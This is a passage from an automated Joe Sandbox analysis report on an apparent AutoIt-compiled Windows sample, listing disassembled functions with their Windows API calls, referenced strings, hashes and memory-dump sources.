                                                          • Instruction ID: ae06a7cc8c34f417142fc5b0c462fed4252d3aa5b981c81dbfab909d6a4c3c75
                                                          • Opcode Fuzzy Hash: 935c44ad8318b3af66d252774f477c9026677184fbf87e93bc0843909b837ee7
                                                          • Instruction Fuzzy Hash: A512E020E14658C6EB24DF64D8507DEB232EF68300F1060E9910DEB7A5E77A5F81CF5A
                                                          Function 00510C08 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ProtectVirtual
                                                          • String ID:
                                                          • API String ID: 544645111-0
                                                          • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                          • Instruction ID: da9a435c28aa2f59d6d0c4f587d0954bd185290bfc8b6181016919e81d5e2c94
                                                          • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                          • Instruction Fuzzy Hash: E231D570A001069BE718DF58C4C49A9FBA6FB99304B6497A5E80ACB391D7B1EDC1DFC0
                                                          Function 0052FCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ClearVariant
                                                          • String ID:
                                                          • API String ID: 1473721057-0
                                                          • Opcode ID: 6ff6185c84e059cf6115945733c4abeb0dbdd16bfd191a9c4b838e128ee943e7
                                                          • Instruction ID: 4c49a2f4d6994456f8acc38e816dad4c9d7b02eb8abca27c13230760fb1294da
                                                          • Opcode Fuzzy Hash: 6ff6185c84e059cf6115945733c4abeb0dbdd16bfd191a9c4b838e128ee943e7
                                                          • Instruction Fuzzy Hash: 444147745043459FDB24CF14C448B2ABBE1BF85318F0988ADE9998B362C335EC95CF96
                                                          Function 00517C56 Relevance: 1.6, APIs: 1, Instructions: 87COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00519E08: GetStartupInfoW.KERNEL32(?), ref: 00519E12
                                                          • GetCommandLineW.KERNEL32(005AA0B8,00000014), ref: 00517CF6
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CommandInfoLineStartup
                                                          • String ID:
                                                          • API String ID: 582193876-0
                                                          • Opcode ID: 83e634db70e6fa84545d09f1a045618e11ee3f8b856ab8ecbf8304b292f13d3e
                                                          • Instruction ID: e97fe81609524f1ec098efd8aba6e5a3404f19302ca93ef9b8550933fa9099a7
                                                          • Opcode Fuzzy Hash: 83e634db70e6fa84545d09f1a045618e11ee3f8b856ab8ecbf8304b292f13d3e
                                                          • Instruction Fuzzy Hash: 2121B72060831A9AF72077B8B94EBFD2DB47FD9319F10056AF5049A1C3DF7489C49695
                                                          Function 004F4DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F4BB5: FreeLibrary.KERNEL32(00000000,?), ref: 004F4BEF
                                                          • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,005B52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 004F4E0F
                                                            • Part of subcall function 004F4B6A: FreeLibrary.KERNEL32(00000000), ref: 004F4BA4
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Library$Free$Load
                                                          • String ID:
                                                          • API String ID: 2391024519-0
                                                          • Opcode ID: 9154940369e27b06fe4fa1ed0137670f9ff65aec0dea4917036340006bb91a3c
                                                          • Instruction ID: 9e0729daac5744a0c57e2598e14af44b73f1d7b3b84b8e2ddc2d71e4d64d688f
                                                          • Opcode Fuzzy Hash: 9154940369e27b06fe4fa1ed0137670f9ff65aec0dea4917036340006bb91a3c
                                                          • Instruction Fuzzy Hash: 24110435600209ABCF10EF71C816FBF77A4AFC4714F10842EF642A7192EE799A019B65
                                                          Function 0052FD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ClearVariant
                                                          • String ID:
                                                          • API String ID: 1473721057-0
                                                          • Opcode ID: 22dedac32b15663e15651673456976ce46529a9892857842674d55663f2b008d
                                                          • Instruction ID: cf40c88cc57bdb0eeb6abf054885fd7a7038667d937ec819d80fe99a955ad50d
                                                          • Opcode Fuzzy Hash: 22dedac32b15663e15651673456976ce46529a9892857842674d55663f2b008d
                                                          • Instruction Fuzzy Hash: 052130B0908345DFDB24DF64C444B2ABBE1BF88304F05896CE98A47762C735E859CBA7
                                                          Function 0051571C Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RtlAllocateHeap.NTDLL(00E00000,00000000,00000001,00000000,?,?,?,00510DD3,?), ref: 0051575F
                                                            • Part of subcall function 0051A1C8: GetModuleFileNameW.KERNEL32(00000000,005B33BA,00000104,?,00000001,00000000), ref: 0051A25A
                                                            • Part of subcall function 0051309F: ExitProcess.KERNEL32 ref: 005130AE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AllocateExitFileHeapModuleNameProcess
                                                          • String ID:
                                                          • API String ID: 1715456479-0
                                                          • Opcode ID: 6880b340239911ece9277a56abdeb979b22e6f4f320622260e285d62624cdd1c
                                                          • Instruction ID: 211614d53f7cf929ca1a5b575defdf6f3abb47fda8da96f215b1052235cb53d8
                                                          • Opcode Fuzzy Hash: 6880b340239911ece9277a56abdeb979b22e6f4f320622260e285d62624cdd1c
                                                          • Instruction Fuzzy Hash: 1B019635244A02DAF7112734EC57BF97F48FBD17A1F500925F415A61D1EFB0A8C09761
                                                          Function 004F4E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FreeLibrary.KERNEL32(?,?,005B52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 004F4E7E
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: FreeLibrary
                                                          • String ID:
                                                          • API String ID: 3664257935-0
                                                          • Opcode ID: 3795c4c7756aae8d779f205ff973fcd56ec56e00b344c89d543729461bff944c
                                                          • Instruction ID: cb53135feeb701aa9bd37fc7f8e7ddc78096f34598c15a5a90699f199c9b5d78
                                                          • Opcode Fuzzy Hash: 3795c4c7756aae8d779f205ff973fcd56ec56e00b344c89d543729461bff944c
                                                          • Instruction Fuzzy Hash: 66F03071501715CFDB349F64E494823BBE1BF94325310893FE2E682610CB359884EF44
                                                          Function 00510791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 005107B0
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: LongNamePath
                                                          • String ID:
                                                          • API String ID: 82841172-0
                                                          • Opcode ID: 893a78ecc99824e780bd84c680d64ba4b2545d9b78bfefd0f61836202f63a8da
                                                          • Instruction ID: 9d505328ab4dda5be4d8b3fed4dd3aa48b80bea1e9fa395d97d9f66530e923d4
                                                          • Opcode Fuzzy Hash: 893a78ecc99824e780bd84c680d64ba4b2545d9b78bfefd0f61836202f63a8da
                                                          • Instruction Fuzzy Hash: E8E0CD3690412857C720D659AC09FFA77DDDFC97A0F0441B6FD0CD7255D964ACC086D4
                                                          Function 00EA4204 Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • Sleep.KERNELBASE(000001F4), ref: 00EA4219
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699946509.0000000000EA1000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EA1000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_ea1000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Sleep
                                                          • String ID:
                                                          • API String ID: 3472027048-0
                                                          • Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
                                                          • Instruction ID: accf1e5d14d999390883febeb179a93df1ec71f7b2123cf6520a8ddc19f3ddaa
                                                          • Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
                                                          • Instruction Fuzzy Hash: 9CE0BF7494110DEFDB00DFA4D5496DD7BB4EF04301F1005A1FD05E7690DB709E548A62
                                                          Function 00EA4208 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • Sleep.KERNELBASE(000001F4), ref: 00EA4219
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699946509.0000000000EA1000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EA1000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_ea1000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Sleep
                                                          • String ID:
                                                          • API String ID: 3472027048-0
                                                          • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                          • Instruction ID: 437dbbb941d45c6979549b22d8e3a5ef8a6eb7ff3ee87e4ea135f38c16b7a049
                                                          • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                          • Instruction Fuzzy Hash: 99E0E67494110DDFDB00DFB4D54969D7BB4EF04301F1001A1FD01E2280D6709D508A72

                                                          Non-executed Functions

                                                          Function 00513187 Relevance: 120.9, APIs: 35, Strings: 34, Instructions: 193libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • EncodePointer.KERNEL32(00000000), ref: 0051318A
                                                            • Part of subcall function 0051A524: EncodePointer.KERNEL32(0051A4F0,005AA1E8,00000008,00524B0C), ref: 0051A529
                                                          • GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00519EA0
                                                          • GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00519EB4
                                                          • GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00519EC7
                                                          • GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00519EDA
                                                          • GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00519EED
                                                          • GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00519F00
                                                          • GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00519F13
                                                          • GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00519F26
                                                          • GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00519F39
                                                          • GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00519F4C
                                                          • GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00519F5F
                                                          • GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00519F72
                                                          • GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00519F85
                                                          • GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00519F98
                                                          • GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00519FAB
                                                          • GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00519FBE
                                                          • GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00519FD1
                                                          • GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00519FE4
                                                          • GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00519FF7
                                                          • GetProcAddress.KERNEL32(00000000,GetLogicalProcessorInformation), ref: 0051A00A
                                                          • GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 0051A01D
                                                          • GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 0051A030
                                                          • GetProcAddress.KERNEL32(00000000,EnumSystemLocalesEx), ref: 0051A043
                                                          • GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 0051A056
                                                          • GetProcAddress.KERNEL32(00000000,GetDateFormatEx), ref: 0051A069
                                                          • GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 0051A07C
                                                          • GetProcAddress.KERNEL32(00000000,GetTimeFormatEx), ref: 0051A08F
                                                          • GetProcAddress.KERNEL32(00000000,GetUserDefaultLocaleName), ref: 0051A0A2
                                                          • GetProcAddress.KERNEL32(00000000,IsValidLocaleName), ref: 0051A0B5
                                                          • GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 0051A0C8
                                                          • GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 0051A0DB
                                                          • GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 0051A0EE
                                                          • GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleExW), ref: 0051A101
                                                          • GetProcAddress.KERNEL32(00000000,SetFileInformationByHandleW), ref: 0051A114
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AddressProc$EncodePointer$HandleModule
                                                          • String ID: CloseThreadpoolTimer$CloseThreadpoolWait$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$EnumSystemLocalesEx$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetDateFormatEx$GetFileInformationByHandleExW$GetLocaleInfoEx$GetLogicalProcessorInformation$GetTickCount64$GetTimeFormatEx$GetUserDefaultLocaleName$InitializeCriticalSectionEx$IsValidLocaleName$LCMapStringEx$SetDefaultDllDirectories$SetFileInformationByHandleW$SetThreadStackGuarantee$SetThreadpoolTimer$SetThreadpoolWait$WaitForThreadpoolTimerCallbacks$kernel32.dll
                                                          • API String ID: 2375030495-2934716456
                                                          • Opcode ID: 2c5347b4dcc28382fea6be8aa8f9bcdce75c90050465572e55233e9310ffd029
                                                          • Instruction ID: d9734656592dcdfee87544fc8fc2a5121d7581b92f5740a97aade37648a02d57
                                                          • Opcode Fuzzy Hash: 2c5347b4dcc28382fea6be8aa8f9bcdce75c90050465572e55233e9310ffd029
                                                          • Instruction Fuzzy Hash: DC616675D50318AAC751EFB9EC56D1BBFE8BB76B003044D1EA500E3172DAB4A249EF60
                                                          Function 0057CABC Relevance: 74.1, APIs: 39, Strings: 3, Instructions: 632windowkeyboardCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F2612: GetWindowLongW.USER32(?,000000EB), ref: 004F2623
                                                          • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0057CB37
                                                          • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0057CB95
                                                          • GetWindowLongW.USER32(?,000000F0), ref: 0057CBD6
                                                          • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0057CC00
                                                          • SendMessageW.USER32 ref: 0057CC29
                                                          • GetKeyState.USER32(00000011), ref: 0057CCB6
                                                          • GetKeyState.USER32(00000009), ref: 0057CCC3
                                                          • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0057CCD9
                                                          • GetKeyState.USER32(00000010), ref: 0057CCE3
                                                          • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0057CD0C
                                                          • SendMessageW.USER32 ref: 0057CD33
                                                          • SendMessageW.USER32(?,00001030,?,0057B348), ref: 0057CE37
                                                          • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0057CE4D
                                                          • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0057CE60
                                                          • SetCapture.USER32(?), ref: 0057CE69
                                                          • ClientToScreen.USER32(?,?), ref: 0057CECE
                                                          • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0057CEDB
                                                          • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0057CEF5
                                                          • ReleaseCapture.USER32 ref: 0057CF00
                                                          • GetCursorPos.USER32(?), ref: 0057CF3A
                                                          • ScreenToClient.USER32(?,?), ref: 0057CF47
                                                          • SendMessageW.USER32(?,00001012,00000000,?), ref: 0057CFA3
                                                          • SendMessageW.USER32 ref: 0057CFD1
                                                          • SendMessageW.USER32(?,00001111,00000000,?), ref: 0057D00E
                                                          • SendMessageW.USER32 ref: 0057D03D
                                                          • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0057D05E
                                                          • SendMessageW.USER32(?,0000110B,00000009,?), ref: 0057D06D
                                                          • GetCursorPos.USER32(?), ref: 0057D08D
                                                          • ScreenToClient.USER32(?,?), ref: 0057D09A
                                                          • GetParent.USER32(?), ref: 0057D0BA
                                                          • SendMessageW.USER32(?,00001012,00000000,?), ref: 0057D123
                                                          • SendMessageW.USER32 ref: 0057D154
                                                          • ClientToScreen.USER32(?,?), ref: 0057D1B2
                                                          • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0057D1E2
                                                          • SendMessageW.USER32(?,00001111,00000000,?), ref: 0057D20C
                                                          • SendMessageW.USER32 ref: 0057D22F
                                                          • ClientToScreen.USER32(?,?), ref: 0057D281
                                                          • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0057D2B5
                                                            • Part of subcall function 004F25DB: GetWindowLongW.USER32(?,000000EB), ref: 004F25EC
                                                          • GetWindowLongW.USER32(?,000000F0), ref: 0057D351
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
                                                          • String ID: @GUI_DRAGID$F$pb[
                                                          • API String ID: 3429851547-4275205045
                                                          • Opcode ID: bac5630e471b6afa5408c17f9eb11a692e89c08d585496305afdc0c6608a4f68
                                                          • Instruction ID: 6e847fb99c766f0969c6c502984f0ba5a46af309abe8de8a6eb3c9e34d100274
                                                          • Opcode Fuzzy Hash: bac5630e471b6afa5408c17f9eb11a692e89c08d585496305afdc0c6608a4f68
                                                          • Instruction Fuzzy Hash: DA429A74204240AFD725CF64E848FAABFE5FF49310F548A1DF65E872A1D731A844EB52
                                                          Function 00525A7C Relevance: 49.2, APIs: 22, Strings: 6, Instructions: 171libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • EncodePointer.KERNEL32(00000000,00000000,005B3388,00000000,?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525AA4
                                                          • LoadLibraryExW.KERNEL32(USER32.DLL,00000000,00000800,?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525ACA
                                                          • GetLastError.KERNEL32(?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525AD6
                                                          • LoadLibraryExW.KERNEL32(USER32.DLL,00000000,00000000,?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525AEC
                                                          • GetProcAddress.KERNEL32(00000000,MessageBoxW), ref: 00525B02
                                                          • EncodePointer.KERNEL32(00000000,?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525B11
                                                          • GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 00525B1E
                                                          • EncodePointer.KERNEL32(00000000,?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525B25
                                                          • GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00525B32
                                                          • EncodePointer.KERNEL32(00000000,?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525B39
                                                          • GetProcAddress.KERNEL32(00000000,GetUserObjectInformationW), ref: 00525B46
                                                          • EncodePointer.KERNEL32(00000000,?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525B4D
                                                          • GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 00525B5E
                                                          • EncodePointer.KERNEL32(00000000,?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525B65
                                                          • IsDebuggerPresent.KERNEL32(?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525B6F
                                                          • OutputDebugStringW.KERNEL32(?,?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525B81
                                                          • DecodePointer.KERNEL32(?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525B9F
                                                          • DecodePointer.KERNEL32(00000000,?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525BC1
                                                          • DecodePointer.KERNEL32(?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525BCC
                                                          • DecodePointer.KERNEL32(00000000,?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525C11
                                                          • DecodePointer.KERNEL32(00000000,?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525C29
                                                          • DecodePointer.KERNEL32(?,?,?,?,?,0051A30D,005B3388,Microsoft Visual C++ Runtime Library,00012010), ref: 00525C3D
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
